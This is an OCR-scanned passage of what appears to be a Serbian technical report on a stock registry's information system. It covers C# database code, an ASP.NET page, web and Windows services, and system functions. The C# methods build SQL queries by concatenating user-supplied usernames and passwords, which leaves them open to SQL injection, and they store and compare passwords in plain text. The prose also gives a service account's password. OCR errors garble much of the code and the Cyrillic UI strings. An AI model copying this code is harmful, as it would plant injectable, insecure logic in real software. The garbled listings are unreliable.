public Rezultati Prenesi (int prvi , int drugi , double suma)

{
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Rezultati rez=Rezultati .OK;
if (!ImaRacuna(drugi))

return Rezultati.NEMA_RACUN;
double kontrola=double.Parse(DajStanje(prvi));

if (suma>kontrola)

return Rezultati.NEMA_NOVAC;
SglCommand komanda=new SqglCommand(*'Prenos',veza);//poziva
stored procedura

komanda.CommandType=CommandType.StoredProcedure;//konkretan poziv
SqlParameter pl=new SqlParameter(); //pravi se parametar
prosledjivanje stored proceduri; prvi
pl=komanda.Parameters.Add("'@prvi',SqlDbType. Int);
pl.Direction=ParameterDirection. Input;
pl.Value=prvi;
SqlParameter p2=new SqlParameter(); //pravi se parametar
prosledjivanje stored proceduri; drugi
p2=komanda.Parameters.Add(""@drugi",SqlDbType. Int);
p2.Direction=ParameterDirection. Input;
p2.Value=drugi;
SqlParameter p3=new SqlParameter(); //pravi se parametar
prosledjivanje stored proceduri; treci
p3=komanda.Parameters.Add(""@suma’ ,SqlDbType.Decimal);
p3.Direction=ParameterDirection. Input;
p3.Value=suma;
komanda.ExecuteNonQuery();
return rez;

}

private bool ImaRacuna(int racun)//pom metoda koja proverava da
racun postoji i radi za metodu Rezultati prenesi
{
bool rez=false;
string upit="select sifrac FROM Racun';
SglCommand kom=new SglCommand(upit,veza);
SqglDataReader rd=kom.ExecuteReader();//otvara se reader
citanje skupa zapisa tj sifrac
while (rd.Read())

if (rd.GetInt32(0)==racun)

{
rez=true;
break;
}
}
rd.Close();
return rez;
}
public ProgBroker(string tekst)
{
veza=new SqlConnection(tekst);
kon_tekst=tekst;
veza.Open();
// TODO: Add constructor logic here
//
}
public void Ulozi (int racun , double suma)
{
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//ovde se radi poziv StoredProcedure za bazu

//ako ima parametre stavljamo ih expl nadovezivanjem
stringa

//ili impl onda ide dodatna aktivnost

//expl poziv

string upit="PrebaciNovac ";

upit+=racun.ToString();

upit+=",";

upit+=suma.ToString();

SqglCommand komanda=new SqglCommand(upit,veza);

komanda.ExecuteNonQuery();

}
public bool Podigni (int racun , double suma)

//implicitni poziv stored procedure dobra za dinamic
promenu vrednosti parametra

//prvo proverava stanje , da li je u minusu

bool rez=true;

double
kontrola=double.Parse(DajStanje(racun));//promenljiva koja preuzima stanje
na racunu

if (suma>kontrola)

rez=false;
else

//kod impl poziva se definise samo naziv storedproc
i nista vise

SqglCommand komanda=new
SqglCommand(*'PrebaciNovac",veza) ;

komanda.CommandType=CommandType .StoredProcedure;//podesava se njen
property za poziv storedprocedure
SqglParameter paraml=new SqglParameter();//za slanje
parametra storedproceduri

paraml=komanda.Parameters.Add("'@sifrac',SqlDbType.Int);//prvi je
pravi naziv kao u storedproceduri u serveru a drugi je koji tip mu na sqgl
servru odgovara
paraml.Direction=ParameterDirection. Input;
paraml.Value=racun;
SqglParameter param2=new SqglParameter();

param2=komanda.Parameters.Add("'@suma’,SqlDbType.Decimal);//prvi je
pravi naziv kao u storedproceduri u serveru a drugi je koji tip mu na sql
servru odgovara
param2.Direction=ParameterDirection. Input;
param2_Value=suma;
komanda.ExecuteNonQuery();
}

return rez;

}

public string DajStanje (int racun)//vraca novo stanje na
racunu nakon promene istog
{
string upit="SELECT dbo.Stanje(";
upit+=racun.ToString(Q);
upit+=")";
SglCommand komanda=new SqglCommand(upit,veza);
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double
pom=Convert.ToDouble(komanda.ExecuteScalar());//smestamo u nju vrednost
vracenu iz SELECT
return pom.ToString();
}

public DataRow DajPodatke (string un , string pwd)
{
DataTable rez=new DataTable();//pomocna tabela
string upit=@"SELECT s.ime , r.stanje ,r.sifrac
FROM Akcionar s INNER JOIN Racun
r ON r.Akcionar=s.sifs
WHERE s.ussername=""";//moze da se
pise u vise redova zahvaljujuci @
upit+=un; upit+="" AND s.password=""";
upit+=pwd ; upit+=""";
SqglDataAdapter filter=new SqlDataAdapter(upit,veza);
filter.Fill(rez);//popunjava privremenu tabelu
return rez.Rows[0];//iz nje vraca samo jedan , zeljeni
red

}

public void NoviAkcionar(string ime , string un , string pwd)

{

string upit="INSERT INTO Akcionar (ime , ussername ,
password ) VALUES (*";

upit+=ime;

upit+="","";

upit+=un;

upit+="",

upit+=pwd;

upit+="")";

SglCommand kom=new SqglCommand(upit,veza);

kom.ExecuteNonQuery();

}

public bool Logovanje (string un , string pwd)
{
bool rez=false;
string upit=""SELECT ussername , password FROM Akcionar';
SqglCommand kom=new SqlCommand(upit , veza);
//definise se objekat tipa sql reader koji se iz
aplikacije poziva i krece se kroz bazu i trazi podatak koji se zada
SqglDataReader rd=kom.ExecuteReader();
while (rd.Read()) //metoda read cita i vraca true kada
nadje odgovarajuci zapis

if (rd.GetString(0)==un && rd.GetString(1)==pwd)//
0 i 1 su redni brojevi kolona iz select upita

{

rez=true;
break;

}

rd.Close();//datareader se na kraju zatvori
return rez;
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C# se pojavio kao jezik najnovije generacije koji je razvijen od strane Microsoft-a.
Pokazao se kao veoma mocan programski jezik kojim je mogucée ostvariti gotovo
svaku programersku zamisao. Posebno treba imati u vidu njegovu integraciju sa XML
servisima, kao i samim SQL Server-om, Sto u praksi daje izvanredne rezultate.

3.2.3 KORISNICKI INTERFEJS

Analogno ostalim komponentama sistema 1 korisnicki interfejs je trpeo izmene tokom
vremena. Za vreme koriS¢enja Borland Pascal-a kao razvojnog alata, korisnicki
interfejs je razvijen u vidu DOS aplikacije, sa padaju¢im menijima pomocu kojih su se
mogli dobiti Zeljeni podaci ili startovati Zeljene akcije nad podacima. U pocetnim
stadijumima razvoja, pre patentiranja misa kao hardverskog interfejsa, interfejs nije
projektvan za upotrebu navedenog hardverskog uredaja. Komunikacija sa aplikacijom
se vrdila isklju¢ivo preko tastature. Pojavom misSa, pisan je programski kod koji je
omogucavao koriS¢enje novog uredaja za pojednostavljeno koriS¢enje korisnickog
interfejsa.

Prelaskom na Windows i Access platformu, izraden je korisnicki interfejs za Windows
okruZenje koriS¢enjem Visual Basic for Applications programskog jezika. Kompletan
interfejs je raden u Windows okruZenju, dok je upotreba misSa bila nezaobilazna.
Aplikacija je imala sve odlike standardnih Windows aplikacija. To znaci da se pristup
pojedinim elementima aplikacije odvijao putem otvaranja razlicitih ,,prozora® koji su
bili pojedinacno projektovani za svaki segment. Prozori su sadrzavali sve klasi¢ne
elemente i komande kao Sto su : close button, restore button, minimaze button,
maximize button, itd.

Aktuelni korisni¢ki interfejs je raden za Web okruZenje, Sto znaci da mu se moze
pristupiti nekim od Web Browser-a. Poznata je Cinjenica da postoji vise Web
Browsera koji se mogu Korisiti za pristup internet orijentisanim aplikacijama. Dva
najviSe koriS¢ena browser-a su Internet Explorer i Netscape Navigator. Kod je
prevashodno pisan za Internet Explorer koji je veoma rasprostranjen 1 za Ciju je
upotrebu obucena veéina korisnika. Ipak, treba napomenuti da se istim segmentima
aplikacije moze pristupiti i putem Netscape Navigator-a, uz neka manja podeSavanja
samog Netscape-a.

Za svaku funkciju ili grupu funkcija same aplikacije dizajnirana je posebna Web
stranica. Korisnicki interfejs se sastoji od mnoStva Web stranica koje su organizovane
u logicke celine i omogucavaju prelaz iz jedne stranice u drugu posredstvom komandi
na samoj stranici ili koriS¢enjem sistemskih komandi Internet Explorera. Redosled
pojavljivanja stranica i moguénost prelaska sa jedne stranice na drugu determinisani
su logikom rada same aplikacije. Na narednoj slici prikazana je jedna od Web stranica
korisni¢kog interfejsa na kojoj se, pored osnovnog menija, vidi prikaz osnovnih
podataka o akcionarima nakon biranja opcije u prethodnom listu sa menijem :
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Slika 3.5 Prikaz jedne od Web stranica iz sastava korisni¢kog interfejsa vidljive
pomocu Internet Explorer-a

Web okruzenje predstavlja savremeni nacin implemetacije korisni¢kog interfejsa. Na
taj nacin se postize brzi nacin rada aplikacije usled Cinjenice da se na radnoj stanici
nalazi samo Web browser. Pored navedenog, znatno je olakSan publikaciju sistema ili
njegovih delova, na Internetu, u slucaju da se to zahteva. Ukoliko se pojedini delovi
aplikacije Zele publikovati na internetu neophodne su minimalne intervencije, obzirom
da je ¢itav sistem automatizovan.

3.3 KOMUNIKACIONI MODULLI

Za potrebe komunikacije Registra akcija i akcionara sa okruzenjem, razvijeni su
posebni komunikacioni moduli. Pod okruzenjem se podrazumevaju pre svega
Beogradska berza i1 ovlaS¢eni berzanski posrednici. Elektronska komunikacija sa
ostalim ucesnicima na finansijskom trziStu, kao $to su emitenti, banke, Komisija za
hartije od vrednosti itd., se odvija posebnim procedurama imajuci u vidu ¢injenicu da
sa navedenim entitetima nije potrebno ostvariti direktan Kkontinuirani protok
informacija. Pored ve¢ pomenutih hardverskih komunikacionih resursa, neophodno je
bilo razviti i softverske module koji ¢e direktno vrsiti funkciju komunikacije.
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3.3.1 KOMUNIKACIONI SERVISI

Kao odgovor na zahteva za komunikacijom sa ostalim ucesnicima finansijskog trzista
razvijeni su specijalizovani komunikacioni servisi. Servisi podrazumevaju osmisljenu
grupu logic¢kih aktivnosti sa jasno definisanim zadatkom. Prevashodna uloga
komunikacionih  servisa je obezbedivanje kvalitetnih  komunikacija sa
zainteresovanim stranama, svakako uz podrsku odgovarajuceg hardvera.

Komunikacioni servisi su realizovani primenom .NET tehnologije i to XML Web
servisa kao 1 delimi¢no samih windows servisa. Servisi su, u najve¢oj meri, pisani u
XML kodu, dok je jedan deo pisan u C# programskom jeziku. U cilju ostvarivanja
komunikacionih zahteva razvijene su slede¢e funkcije koje izvrSavaju XML Web
Servise .

- Prihvatanje naloga za trgovanje

- Prihvatanje opoziva naloga

- Prihvatanje naloga za preknjizavanje

- Prihvatanje zbirnog naloga trgovanja

- Potvrda preuzimanja obradenih naloga za trgovanje

- Potvrda preuzimanja obradenih opoziva naloga

- Potvrda preuzimanja obradenih naloga za preknjiZavanje
- Potvrda preuzimanja zbirnih zaklju¢nica

3.3.2 WEB APLIKACIJE

U okviru komunikacionog podsistema razvijeno je viSe Web aplikacija koje
omogucavaju upravljanje komunikacijom. Razvojem Web aplikacije se korisnicima
omogucilo user-friendly koriS¢enje komunikacionih funkcija.

Razvijene su i instalirane tri osnovne Web aplikacije:
- Salter,
- BSEAgenti
- PRAgent

Aplikacija Saltera (Salter), omogucava izvrSavanje osnovnih operacija prilikom
razmene podataka na nivou operatera sistema. Takode, obezbeduje pouzdanu
autentifikaciju korisnika na sistem i kontrolu pristupa komunikacionim servisima.
Realizovana je u tehnologiji ASP .NET Web aplikacije i .NET XML Web servisa.
Aplikacija sadrzi tri strane i to :

1. Strana - Prijem, (sluzi za prijem fajlova i prikazivanje rezultata prijema)

Poziva se odgovaraju¢i Web servis za izdavanje podataka i u gridu se prikazuju svi
dokumenti koje korisnik moze da primi. Korisnik bira odgovarajuci fajl. Nakon
toga poziva se klijentska kontrola koja vrsi transformaciju fajla u XML format.
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Dalje se poziva odgovaraju¢i Web servis zbog potvrde prijema i na kraju se
prikazuju rezultati prijema. Bitno je napomenuti da ukoliko fajlovi koji sadrze
zahtev, opoziv zahteva i zaklju¢nice imaju odgovarajuée nazive tada nije potrebno
oznacavati o kom dokumentu se radi, ve¢ se na osnovu imena fajla to moze zakljuciti
i prema tome pozvati odgovarajuci Web servis.

2. Strana - Slanje, (sluzi za slanje fajlova)

Korisnik bira tip dokumenta koji zeli da poSalje (nalog za prodaju, opoziv ili
nalog za preknjizavanje), kao i odgovarajuéi fajl. Zatim se poziva Web servis Kkoji
registruje izabrani fajl u bazi, kreira fajl u file sistemu na unapred definisanoj
lokaciji.

3. Strana — (Zahtev za ponovni prijem, sluzi za slanje zahteva za ponovni prijem
odgovarajuc¢ih dokumenata)

Korisnik bira vremenski period, poziva se odgovaraju¢i Web servis i u gridu se
prikazuju svi dokumenti koji su prethodno primljeni u izabranom periodu.
Korisnik bira dokument uz opcionu napomenu. Opcijom ,,Prihvati“ poziva se Web
servis koji u bazi formira odgovarajuci zahtev.

Aplikacija za razmenu kontrolnih dokumenata prilikom trgovanja na Beogradskoj
berzi (BSEAgent) je realizovana putem slede¢ih funkcija :

1. Prijem zbirnih zakljucnica

U toku trgovackog dana na Beogradskoj berzi, viSe akcionara jednog emitenta moze
da proda ili kupi viSe paketa akcija i to preko vise berzanskih posrednika. Za jednog
emitenta i jednog brokera, Beogradsaka berza izdaje zbirnu zaklju€nicu, u kojoj se
daju zbirni rezulatati trgovanja.

U narednom delu teksta ¢e biti dat izgled XML koda u aplikaciji BSEAgent koji
definiSe funkciju Prijem zbirnih zakljucnica :

<%@ Register TagPrefix="ucl" TagName="Sadrzaj' Src="Sadrzaj.ascx" %>
<%@ Page language="'c#" Codebehind=""Prijem.aspx.cs" AutoEventWireup="false"
Inherits="BSEAgent.Prijem" %>
<IDOCTYPE HTML PUBLIC '"-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Mpmjem</title>
<META http-equiv="Content-Type" content=""text/html;
charset=unicode">
<meta content="Microsoft Visual Studio 7.0" name=""GENERATOR''>
<meta content=""C#" name="CODE_LANGUAGE">
<meta content="JavaScript"” name="vs_defaultClientScript'>
<meta content="http://schemas.microsoft.com/intellisense/ie5"
name="vs_targetSchema'>
<script language="javascript" src="JSFormatic.js'></script>
<script language="javascript">
<I--
//validacija datuma
function TBDo(){
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var ss = new String(document.Forml.tbDo.value);
document.Forml.tbDo.value=jestedatum (ss) ;

by

function TBOd(){
var ss = new String(document.Forml.tb0Od.value);
document.Forml.tb0d.value=jestedatum (ss) ;

by
//-—>

</script>

<script language="vbscript" id="clientEventHandlersVBS'>
<I--

Public Sub bPreuzmi_onclick
"smestanje iz grida selektovanog sadrzaja na izabranu putanju
Forml.lGreska.Value="""
dim putanja,sadrzaj,gres,potpis
dim rez
if Forml.tPutanja.value=""" then
Forml.lGreska.Value="MopaTe m3abpaTu Jjiokaumujy Ha KOJO] XeJmTe Ia
cMecTUTe mOKyMeHT!"
Forml.submit
else
putanja=Forml.tPutanja.value
if Forml.hSadrzaj.value=""" then
Forml.lGreska.Value="Mopare mz3abparn noxkymeHT!"
Forml.submit
else
sadrzaj=Forml.hSadrzaj.value

rez=DocSign.SacuvajXMLIVratiPotpis(putanja,sadrzaj,potpis,gres)

if rez=false then
"Ukoliko dodje do greske
Forml.hPoruka.value=gres
Forml.IGreska.value=gres
else
Forml.hSadrzaj.value=sadrzaj
Forml.hPotpis.value=potpis
Forml.hPreuzimanje.Value="Click"
Forml_hPoruka.VvValue="""
"Slanje forme (strane) na server radi dalje obrade i poziva
Web-service-a:
end if
end if
Forml._submit
end if
End Sub

-—>
</script>
</HEAD>
<body MS_POSITIONING="GridLayout'>
<OBJECT id="DocSign" classid="clsid:23D5AF38-5BAA-4B5F-97FB-
B2B178201315"">
</OBJECT>
<form id="Forml" method="post" runat="'server'>
<DIV style=""Z-INDEX: 116; LEFT: 8px; WIDTH: 897px;
POSITION: absolute; TOP: 12px; HEIGHT: 473px" ms_positioning="FlowLayout">
<DIV style="WIDTH: 884px; POSITION: relative;
HEIGHT: 471px' ms_positioning="GridLayout"><asp:label id="Label2"
style="Z-INDEX: 119; LEFT: 192px; POSITION: absolute; TOP: 116px"
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runat="server">0n</asp:label><asp:textbox id="tb0Od" style="7-INDEX: 119;
LEFT: 219px; POSITION: absolute; TOP: 113px" runat="'server"
Width="75px""></asp:textbox><asp:label id=""Label3" style="Z-INDEX: 119;
LEFT: 302px; POSITION: absolute; TOP: 115px"
runat="server">no</asp:label><asp:textbox id="tbDo" style="7-INDEX: 119;
LEFT: 326px; POSITION: absolute; TOP: 11l1px" runat="'server"
Width="75px""></asp:textbox><asp:button id="bPrikazi" style="Z-INDEX: 119;
LEFT: 414px; POSITION: absolute; TOP: 111px" runat="'server"
Text="Ipukaxu"></asp:button><INPUT id="1Greska" style="DISPLAY: inline;
FONT-WEIGHT: bold; FONT-SIZE: 16px; Z-INDEX: 119; BORDER-LEFT-COLOR:
white; LEFT: 194px; BORDER-BOTTOM-COLOR: white; OVERFLOW: visible; WIDTH:
477px; COLOR: cornflowerblue; BORDER-TOP-STYLE: none; BORDER-TOP-COLOR:
white; FONT-STYLE: italic; FONT-FAMILY: Gautami; BORDER-RIGHT-STYLE: none;
BORDER-LEFT-STYLE: none; POSITION: absolute; TOP: 77px; HEIGHT: 28px;
BORDER-RIGHT-COLOR: white; BORDER-BOTTOM-STYLE: none'" type=""text"
maxLength="0"" size="74" name="IGreska" runat="server'>
<DIV id=""dNalozi" style="Z-INDEX: 119; LEFT:
192px; WIDTH: 401px; POSITION: absolute; TOP: 154px; HEIGHT: 317px"
runat="server'" ms_positioning="FlowLayout''><asp:label id="Labell"
runat="server" Visible="False">36upuu Haso3u</asp:label><asp:datagrid
id=""dgZNalozi" runat="server"™ Width="376px" AllowPaging=""True"
AutoGenerateColumns="False">
<SelectedltemStyle Font-
Bold="True" ForeColor="White" BackColor="CadetBlue'></SelectedltemStyle>
<HeaderStyle Font-Bold="True"
ForeColor="Navy" BackColor="#99CCCC"'></HeaderStyle>
<Columns>
<asp:BoundColumn
Visible="False" DataField="id_dokument'></asp:BoundColumn>
<asp:BoundColumn
DataField="Oznaka" HeaderText="O3Haka nokymeHTa"></asp:BoundColumn>
<asp:BoundColumn
DataField="Preuzeto" HeaderText="Bpoj npeysumama"></asp:BoundColumn>
<asp:ButtonColumn
Text="lzabepn" CommandName="Select">
<ltemStyle
HorizontalAlign="Center" VerticalAlign="Middle"></I1temStyle>
</asp:ButtonColumn>
</Columns>
<PagerStyle
Mode=""NumericPages'></PagerStyle>
</asp:datagrid><INPUT id="tPutanja"
style="WIDTH: 296px; HEIGHT: 22px" type="file" size="30" name=""tPutanja''>
<INPUT id="bPreuzmi" type="button"
value="Ilpey3smu"></DIV>
<INPUT id=""hldDok" style="Z-INDEX: 117;
LEFT: 711px; POSITION: absolute; TOP: 76px" type="hidden" name="hldDok"
runat=""server'><INPUT id="hSadrzaj" style="Z-INDEX: 117; LEFT: 712px;
POSITION: absolute; TOP: 101px" type="hidden" name="hSadrzaj"
runat=""server'><INPUT id="hPotpis" style="Z-INDEX: 117; LEFT: 712px;
POSITION: absolute; TOP: 127px" type="hidden"™ name=""hPotpis"
runat=""server'><INPUT id="hPoruka"™ style="Z-INDEX: 117; LEFT: 712px;
POSITION: absolute; TOP: 152px" type="hidden"™ name=""hPoruka"
runat=""server'><INPUT id="hPreuzimanje'" style="Z-INDEX: 117; LEFT: 711px;
POSITION: absolute; TOP: 178px" type="hidden" name="hPreuzimanje"
runat="'server''><ucl:sadrzaj id="Sadrzajl"
runat=""server'></ucl:sadrzaj></DIV>
</DIV>
<SCRIPT language="vbscript'>
<I--
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Pocetak
Sub Pocetak
"Ova procedura se izvrsava pri svakom renderovanju strane kod
klijnta
"MsgBox(Forml. IGreska.Value)
if Forml.IGreska.Value="0K" then
Forml.lGreska.Value="[lokyMeHT Jje ycClemHo npey3eT."

end if
if Forml.IGreska.Value=""NOK" then
Forml.lGreska.Value="Hema HMjenHOT 30MPHOT' HajloTa 3a
npeysmuMmame . "
end if
if Forml.IGreska.Value=""SNOK" then
Forml.lGreska.Value="[lokyMeHT Jje IpasaH, HeMaTe WTa Ia
npeymere ! "

end if
End Sub
-
</SCRIPT>
</form>
</body>
</HTML>

2. Slanje zbirnih naloga

Berzanski posrednik u svojim prostorijama prikuplja naloge za prodaju akcija od
akcionara kao i naloge za kupovinu akcija od strane potencijalnih kupaca akcija.
Tako prikupljene podatke elektronski obraduje i formira zbirni nalog za trgovinu
koji prosleduje Registru akcija i akcionara.

Aplikacija za nadzor komunikacionog sistema (PRAgent) koristi sledece funkcije:

1. Obrada zahteva za ponovno preuzimanje podataka

Postoji mogucnost da se dogode smetnje na komunikacionim linijama, te da dode do
neispravnog prijema dokumenata. Neispravan prijem se moze manifestovati na vise
nacina od kojih je najce$¢i necitljivost poslatog dokumenta. Tada se preuzimanje
podataka mora ponoviti, Sto Klijent eksplicitno zahteva, a u informacionom sistemu
Registra se vrsi obrada poslatog zahteva.

2. Slanje dokumenata na ponovnu obradu

Prilikom obrade podataka kod berzanskog posrednika ili rede na berzi, moZe do¢i do
greske prilikom elektronske obrade podataka. Obradeni fajl se posalje Registru gde
se izvr§i nova obrada podataka, i u skladu sa tom obradom izvrSe odgovarajuce
promene u bazi podataka.

Ukoliko se od strane korisnika uo¢i greSka u poslatom fajlu, neophodno je slanje
novog fajla, sa korigovanim greSkama, nikako pojedinac¢nih podataka za ispravku,
kako bi se izvrSila ponovna obrada podataka. Tako poslat dokument se posebno
oznacava, kako bi sistem ustanovio da se radi o poslatom korigovanom fajlu nakon
gresSke. U bazi se tada uradi roll-back procedura i iznova se vrsi obrada poslatog
dokumenta.
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3.3.3 WEB SERVISI

Razvojem Internet tehnologija dolazi do pojave Web servisa. Web servisi
omogucavaju zadovoljenje koncepta rada aplikacije u distribuiranom mreZznom
okruzenju. Uocena je potreba da se pojedine procedure i funkcije izvrSavaju u
mreznom okruZenju, pri ¢emu se uzimaju u obzir svi u€esnici u komunikaciji.
Takode je neophodno ispuniti uslov da se rezultati izvrSavanja distribuiraju
zainteresovanim ucesnicima.

Kao $to je ve¢ napomenuto, za potrebe komunikacije Registra sa okruZenjem
razvijene su Web aplikacije, opisane u prethodnom poglavlju. Web servisi ¢ine
integralni deo Web aplikacija i zaduzeni su za specifiéne projektom definisane
zadatke.

U toku razvoja komunikacionih modula, razvijeno je vise Web servisa od kojih je
neophodno kao najbitnije pomenuti sledece :

- Web servis Formater : ima ulogu da prevodi format podataka koji se koristi kod
klijenta ili u samom Registru u XML format putem koga se komunicira sa ostalim
ucesnicima u komunikaciji,

- Web servis DataTransfer : omogucava protok podataka, putem hardverske
komunikacione opreme, do Zeljene destinacije,

- Web servis WSPodaci : proverava poslate podatke i to kako u smislu ispravnosti
formata podataka tako i u pogledu nenarusivosti integriteta podataka,

- Web servis Autor : proverava identitet u¢esnika u komunikaciji.

Web servisi se moraju instalirati na server. Prilikom instalacije najpre su iskopiraju
sami Web servisi na server, a zatim se moraju podesiti slede¢e Web.config stavke :
- Web servis DataTransfer :
- PRFileStore - lokacija na kojoj se ¢uvaju dokumenti za razmenu,
- template - lokacija na kojoj se ¢uva template dokument,
- thumb - potpis serverskog sertifikata,
- Web servis WSPodaci :
- konekcija - konekcija za pristup bazi
- Web servis Autor :
- konekcija - autentifikacija na konekciju za pristup bazi

Narocito je vazno skrenuti paznju na Web servis pod nazivom oslusniFoldere koji
proverava sadrzaj odgovarajucéih foldera (BrokerPotvrde i Berza\Nalozi). Ukoliko u
folderu pronade fajl, modifikuje ga, prevodi u definisani XML format, upisuje u bazu
podataka, a zatim ga briSe sa diska.
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3.34 WINDOWS SERVISI

U periodu pre razvoja Web aplikacija i Web servisa, windows servisi su imali klju¢nu
ulogu u implementaciji windows aplikacija. Pojavom Web aplikacija i Web servisa,
windows servisi bivaju potisnuti u drugi plan. lako ih mnogi smatraju recidivima
proslosti, windows servisi se i dalje koriste, najces¢e sa opravdanim razlogom, jer je
njihova uloga u pojedinim segmentima programiranja nezamenljiva.

Prilikom razvoja komunikacionog sistema registra razvijeno je viSe windows servisa,
od kojih kao najbitniji treba izdvojiti WinServiceSetup.msi. Pomenuti servis sluzi za
podeSavanje parametara Windows 2000 operativnog sistema kako bi se na njemu
mogli izvrSavati ostali Windows servisi. Servis se instalira na radnu stanicu, kako bi
raCunar mogao uspeSno da komunicira sa svojim serverom u cilju obezbedenja
komunikacije Registra sa okruzenjem.

Iz izlozenog sledi da se prilikom instalacije windows servisa na radnoj stanici,
prevashodno instalira servis WinServiceSetup.msi.

Nakon instalacije opisanog servisa, pristupa se podeSavanju app.config segmenta i to

- Konekcija - konekcija za pristup bazi,
- PRFileStore - lokacija na kojoj se ¢uvaju dokumenti za razmenu,
- TimeM.Interval - interval u kome se startuje servis.

Potom sledi podeSavanje windows servisa koji se pokrece pod account-om
koji ima pravo pristupa SQL Serveru. Na samom SQL Serveru su definisani
korisni¢ki racuni sa odredenim privilegijama i pravima pristupa resursima samog
SQL Servera. Nakon toga se aktivira i windows servis koji ima svoju log funkciju.
Servis je podeSen da se startuje u intervalu od 1 minuta, mada se interval moze
menjati prema potrebi.

Iz razloga definisanja prava pristupa SQL Server-u neophodno je podici
odgovaraju¢e windows servise. U tu svrhu se aktivira user prservis (password :
prservis) koji prihvata korisni¢ke raCune samog SQL Server-a i implementira ih
u sigurnosni sistem operativnog sistema. Koordinacija sigurnosnih sistema SQL
Server-a i Windows opeartivnog sistema je od presudne vaznosti za celokupnu
sigurnost pristupa podacima.

Imajuéi u vidu ¢injenicu da komunikacioni deo aplikacije prati stanje u odredenim
folderima neophodno je u tom smislu definisati odgovaraju¢e windows servise. Ovde
se pre svega misli na preuzimanje fajlova iz za to definisanih foldera. To se vrsi
primenom data servisa WSPDownload kao i smeStanje obradenih fajlova u propisane
foldere primenom data servisa WSPUpload.
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Data servis je realizovan u tehnologiji .NET windows servisa. Servis nadgleda
foldere berze i brokera 1 ako u njima pronade fajlove dokumenta, reformatira ih po
potrebi i upisuje u bazu podataka. Folderi berze i brokera su deljeni resursi izmedu
aplikacije postojeceg sistema Registra akcija i akcionara i komunikacionog servisa.
Postojeca aplikacija smesta svoje izlazne dokumente u ove foldere.

3.4 FUNKCIJE INFORMACIONOG SISTEMA

U narednom poglavlju ¢e biti predstavljen pojednostavljeni prikaz osnovnih funkcija
informacionog sistema Registra akcija i akcionara. Funkcije se, prema svojoj hameni,
mogu podeliti u tri osnovne grupe i to :

- Sistemske funkcije,

- Funkcije za ¢uvanje 1 obradu podataka,

- Komunikacione funkcije.
Opis funkcija je ve¢ detaljno dat u prethodnom delu teksta. Naredno izlaganje
predstavlja ne samo rezime recenog vec predstavlja analizu sistema sa stanovista
funkcionalnosti.

3.4.1 SISTEMSKE FUNKCIJE

Funkcionisanje operativnog sistema racunara predstavlja neophodan uslov za rad
samog informacionog sistema. Operativni sistem, preko implementiranih servisa,
obavlja niz sistemskih funkcija bez kojih informacioni sistem Registra akcija i
akcionara ne bi mogao da funkcioniSe. Pod sistemskim funkcijama se podrazumevaju
funkcije koje odrzavaju rad operativnog sistema racunara : sistema servera i radnih
stanica. Sistem switch-eva spada u komunikacionu opremu, ali su njegove dodirne
tacke sa serverskim sistemom mnogobrojne. Iz navedenih razloga, nije moguce povuci
jasnu liniju razgranicenja izmedu sistemskih 1 komunikacionih funkcija.

Sistemske funkcije su predefinisane za Windows 2003 Server operativni sistem, Koji
je instaliran kako na PDC i BDC serveru tako i na data serveru. Svakako treba uzeti u
obzir i sisteme na radnim stanicama na kojima je instaliran Windows XP operativni
sistem. Prilikom implementacije sistemskih funkcija, vodeno je racuna o svih sedam
nivoa OSI modela operativnog sistema.

Funkcionianje sistemskih funkcija nadzire i odrzava administrator sistema, tj. posebno

za to zaduzeno lice. Administrator sistema je lice od posebnog poverenja i sa
specifi€énim znanjima iz oblasti administriranja sistema.
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3.4.2 FUNKCIJE ZA CUVANIJE | OBRADU PODATAKA

Cuvanje i obrada podataka predstavljaju kljuénu funkciju sistema. U tu svrhu je
projektovana 1 realizovana specificna baza podataka u alatu SQL Server 2000. U bazi
podataka se Cuvaju 1 obraduju svi relevantni podaci Registra akcija i akcionara. Baza
podataka predstavlja trajan dokument o procesu privatizacije u Srbiji, kao i zbirku
nespornih ¢injenica o vlasniStvu pojedina¢nih akcionara nad akcijama.

Funkcije za ¢uvanje 1 obradu podataka su realizovane delom u samoj bazi podataka, a
delom u aplikativnim modulima i servisima. TezZilo se da se maksimalno iskoriste
mogucénosti same baze u pogledu odrZanja konzistentnosti podataka. Tek nakon
iscrpljivanja pomenutih mogucénosti u alatu SQL Server 2000 pristupilo se koriS¢enju
mogucnosti aplikacije C# programskog koda ili XML koda.

Sve preduzete aktivnosti koje se ¢ine radi funkcionisanja sistema sluze upravo funkciji
¢uvanja i obrade podataka. Citav sistem je u sustini i ustanovljen radi tih podataka.
Podaci se Cuvaju u relacionoj bazi podataka koji su medusobno povezani vodeni
logikom odnosa podataka koji vaze u realnim uslovima.

3.4.3 KOMUNIKACIONE FUNKCIJE

Komunikacione funkcije, detaljno opisane u prethodnom delu teksta, su od velikog
znaCaja za funkcionisanje sistema. Izolovane radne stanice zapravo 1 ne bi
predstavljale sistem, ve¢ prost zbir nazavisnih podataka 1 aktivnosti. Lako je zakljuciti
da bi takav ,,sistem* bio potpuno neupotrebljiv 1 beskoristan za vodenje baze podataka
Registra akcija i akcionara.

Neophodnost komunikacije unutar LAN mreze je oCigledna, jer se bez nje ne bi mogle
odvijati ni elementarne funkcije sistema. Narocito je vaZna kontinuirana razmena
podataka sa ucesnicima finansijskog trziSta, Sto predstavlja imperativ u razvoju
savremenih finansijskih trzista. Uvodenjem kvalitetnih komunikacionih resursa prema
berzi i berzanskim posrednicima dostignut je standard kontinuiranog trgovanja na
finansijskoj berzi. Na opisani nacin finansijsko trziSte u Srbiji se znatno priblizilo
svetskim i evropskim standardima trgovanja hartijama od vrednosti.
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GLAVA 4

BEZBEDNOSNE KARAKTERISTIKE
INFORMACIONOG SISTEMA

Uzimaju¢i u obzir znacaj informacionog sistema Registra akcija 1 akcionara, kao
imperativ se namece neophodnost zastite podataka koji se u njemu ¢uvaju i obraduju.
Zastiti distribuirani informacioni sistem ne predstavlja ni malo lak zadatak. 1z tih
razloga, na zastiti sistema Registra akcija i akcionara, angazovani su vrhunski
strucnjaci 1z oblasti zaStite u nasoj zemlji.

Samom projektovanju koncepta zaStite se pristupilo sa velikom paznjom, pri ¢emu je
izvr§ena detaljna analiza samog sistema u svim predvidenim rezimima njegovog rada.
Nakon zavrSenog projekta pristupilo se implementaciji sistema bezbednosti. Po
zavrSenoj implementaciji izvrSeno je testiranje instaliranih funkcija, ¢ime je potvrden
visok nivo zastite informacionog sistema.

Imajuéi u vidu cCinjenicu da bezbednost informacionog sistema 1 zaStita podataka
